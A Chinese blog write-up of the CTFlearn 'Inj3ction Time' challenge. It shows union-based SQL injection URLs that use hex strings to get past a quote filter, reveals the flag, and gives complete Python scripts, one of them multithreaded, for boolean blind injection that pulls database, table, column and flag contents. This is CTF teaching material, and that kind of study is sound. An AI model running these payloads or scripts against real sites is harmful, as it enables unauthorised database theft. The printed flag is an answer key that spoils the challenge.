zoukankan      html  css  js  c++  java
  • CTFlearn Inj3ction Time --sql注入python多线程脚本练习

    0x00前言:

    本题是国外的一个CTF平台的题目,题目不难,但学习了波多线程payload写法  

    先看题目描述,提示"union是个有用的命令",估计是用联合查询就能出答案的(因为前面有道easy题也是联合查询出答案,因此我最先做题没看题干,以为要盲注...于是写了payload)

    0x01正常解法:

    正常解法很简单,最先用 1'or'1'='1的时候发现没有反应,用burpsuite的Intruder进行fuzz一下发现是整数型注入,并且 ' (单引号)被过滤掉了

    于是用union测试,有1,2,3的回显

    https://web.ctflearn.com/web8/?id=-1 union select 1,2,3,4%23

    接下来继续查表,查字段,最终找flag

    这里唯一一个要bypass的点在于单引号被过滤,因此常规字符串不行,于是用hex来表示字符串,可以不需要单引号

    https://web.ctflearn.com/web8/?id=-1+union+select+1,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7765626569676874%20),3,4%23

    最后找到flag为 abctf{uni0n_1s_4_gr34t_c0mm4nd}

    0x02多线程的payload:

    因为寒假的怠慢,于是我也借这道题来写写脚本找找手感,于是也就顺便学习了下多线程的写法

    首先常规套路的payload

    import requests
    
    url = "https://web.ctflearn.com/web8/index.php"
    s = requests.session()
    length = 0
    
    def get_length():
        global length
        for i in range(0,100):
            payload = url + "?id=-1||if((length((select database()))=" + str(i) + "),1,0)%23"
            r = s.get(payload)
            if("Saranac" in r.text): 
                length = i
                break
        print "length is :" + str(length) 
    
    def get_text():
        global length
        flag = ""
        for i in range(1,length + 1):
            for j in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-=+,.{}':
                payload = url + "?id=-1||if((substr((select database())," + str(i) + ",1)=" + str(hex(ord(j))) + "),1,0)%23"
                r = s.get(payload)
                if("Saranac" in r.text):
                    flag = flag + str(j)
                    print "flag is : " + flag
                    break
        print "the final flag is : " + flag
    
    def main():
        get_length()
        get_text()
    
    if __name__ == '__main__':
        main()

    这里仅爆破了下数据库名

    然后就是将其改造成多线程

    因为第一次写多线程,所有从一步步说起

    首先payload多线程要用到Threading模块,并且要使用队列,因此要导入进来

    import threading
    import Queue

    然后线程工作的方式是申请一个threading.thread的类,然后用类中的start()方法启动,有多少个该类对象start()了,就有多少个线程在跑

    申请类对象的方法

    thread_count = 8
    threads = []
    for i in range(0, thread_count):
        thread = TextThread(queue)
        thread.start()
        threads.append(thread)
    
    for thread in threads:
        thread.join()

    TextThread类是我继承了Threading.Thread的类名,之后会说到

    thread_count是线程数

    threads[]是存放线程对象的数组

    thread=TextThread(queue) 实例化对象,带个参数,该参数为队列的对象

    thread.start()启动线程

    threads.append(thread)为将本次循环的线程添加到list里面去

    thread.join()是等待所有线程结束后才会继续运行

    对于爆破字符长度不太需要多线程共同完成,因为该题的字符长度最多30+,因此多线程处理的地方为爆破每个位置的字符

    那么如何多个线程共同完成接近50个字符处理呢(因为mysql默认大小写不敏感,因此会出现W w这种2个字符都会正确的情况,因此我payload少写了大写字符)

    考虑到最主要消耗时间的地方是s.get(payload)发送请求这段代码,因此for里面的字符压入队列消耗时间是很短的

    所以基本思想是将每个测试的字符存入队列,每个线程发送了请求后,直接从队列里面拿下一个

    这里就需要打造自己的类了,继承Threading.thread的类,重写构造方法和run()方法,run()方法即启动的时候线程该如何运行的方法

    class TextThread(threading.Thread):
        def __init__(self, queue):
            threading.Thread.__init__(self)
            self.__queue = queue
    
        def run(self):
            global text
            queue = self.__queue
            while not queue.empty():
                info = queue.get()
                num = info[0]
                word = info[1]
                payload = url + "?id=-1||if((substr((select database())," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
                r = s.get(payload)
                if("Saranac" in r.text):
                    text += word
                    print text

    可以看到从构造方法__init__继承了父类的__init__方法,并额外获取了一个queue队列变量

    run()方法

    先获取队列方法

    然后如果队列不为空,从队列里面取值进行赋值给num和word,进行发送

    字符进入队列用一个for语句压入队列即可

    for i in range(1, length + 1):
            for j in "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+,.{}":
                queue.put([i,j])

    最后的payload为

    import requests
    import Queue
    import threading
    
    url = "https://web.ctflearn.com/web8/index.php"
    s = requests.session()
    text = ""
    
    def get_length():
        for len in range(1,100):
            print len
            #get datbase
            #payload = url + "?id=-1||if((length((select database()))=" + str(len) + "),1,0)%23"
            #get table
            #payload = url + "?id=-1||if((length((select group_concat(table_name) from information_schema.tables where table_schema = 0x7765626569676874))=" + str(len) + "),1,0)%23"
            #get column
            #payload = url + "?id=-1||if((length((select group_concat(column_name) from information_schema.columns where table_name = 0x7730775f7930755f6630756e645f6d33 ))=" + str(len) + "),1,0)%23"
            #get flag
            payload = url + "?id=-1||if((length((select group_concat(f0und_m3) from w0w_y0u_f0und_m3 ))=" + str(len) + "),1,0)%23"
            r = s.get(payload)
            if("Saranac" in r.text):
                return len
    
    class TextThread(threading.Thread):
        def __init__(self, queue):
            threading.Thread.__init__(self)
            self.__queue = queue
    
        def run(self):
            global text
            queue = self.__queue
            while not queue.empty():
                info = queue.get()
                num = info[0]
                word = info[1]
                #get databse   webeight
                #payload = url + "?id=-1||if((substr((select database())," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
                #get table   w0w_y0u_f0und_m3,webeight
                #payload = url + "?id=-1||if((substr((select group_concat(table_name) from information_schema.tables where table_schema = 0x7765626569676874)," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
                #get column  f0und_m3
                #payload = url + "?id=-1||if((substr((select group_concat(column_name) from information_schema.columns where table_name = 0x7730775f7930755f6630756e645f6d33 )," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
                #get flag
                payload = url + "?id=-1||if((substr((select group_concat(f0und_m3) from w0w_y0u_f0und_m3 )," + str(num) + ",1)=" + str(hex(ord(word))) + "),1,0)%23"
                r = s.get(payload)
                if("Saranac" in r.text):
                    text += word
                    print text
    
    def get_text(length):
        queue = Queue.Queue()
        text = ""
        for i in range(1, length + 1):
            for j in "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+,.{}":
                queue.put([i,j])
    
        thread_count = 8
        threads = []
        for i in range(0, thread_count):
            thread = TextThread(queue)
            thread.start()
            threads.append(thread)
    
        for thread in threads:
            thread.join()
    
    def main():
        length = get_length()
        print "the length is : " + str(length)
    
        get_text(length)
        print "the text is " + text
    
    
    if __name__=='__main__':
        main()

    最先看菜鸟教程的时候其中讲到线程同步需要用锁来实现,但是如果在循环外面锁住,那么其实循环就只有一个线程在跑,如果在s.get(payload)的前后锁住,也只是一个线程在工作最主要耗费时间的地方,因此在最先学习的时候不知道到底如何加锁来达到同步,最后看了几篇文章后认为这里应该用队列完成

    一直想着如何强行终止线程,但是发现python并没有给出方法,网上也有一些特殊的方法终止,但是有个说法是强行终止线程是个不正常的行为,因此也就没有写的更加复杂来强行终止来达到更快的速度

    参考链接:https://www.cnblogs.com/ichunqiu/p/6508698.html       

         http://www.runoob.com/python/python-multithreading.html

  • 相关阅读:
    charles使用
    断言
    JDBC Request
    HTTP请求建立一个测试计划
    利用badboy进行脚本录制
    接口测试用例
    Monkey常用命令
    charles安装与使用
    celery配置与基本使用
    图片验证码接口
  • 原文地址:https://www.cnblogs.com/sijidou/p/10428023.html
Copyright © 2011-2022 走看看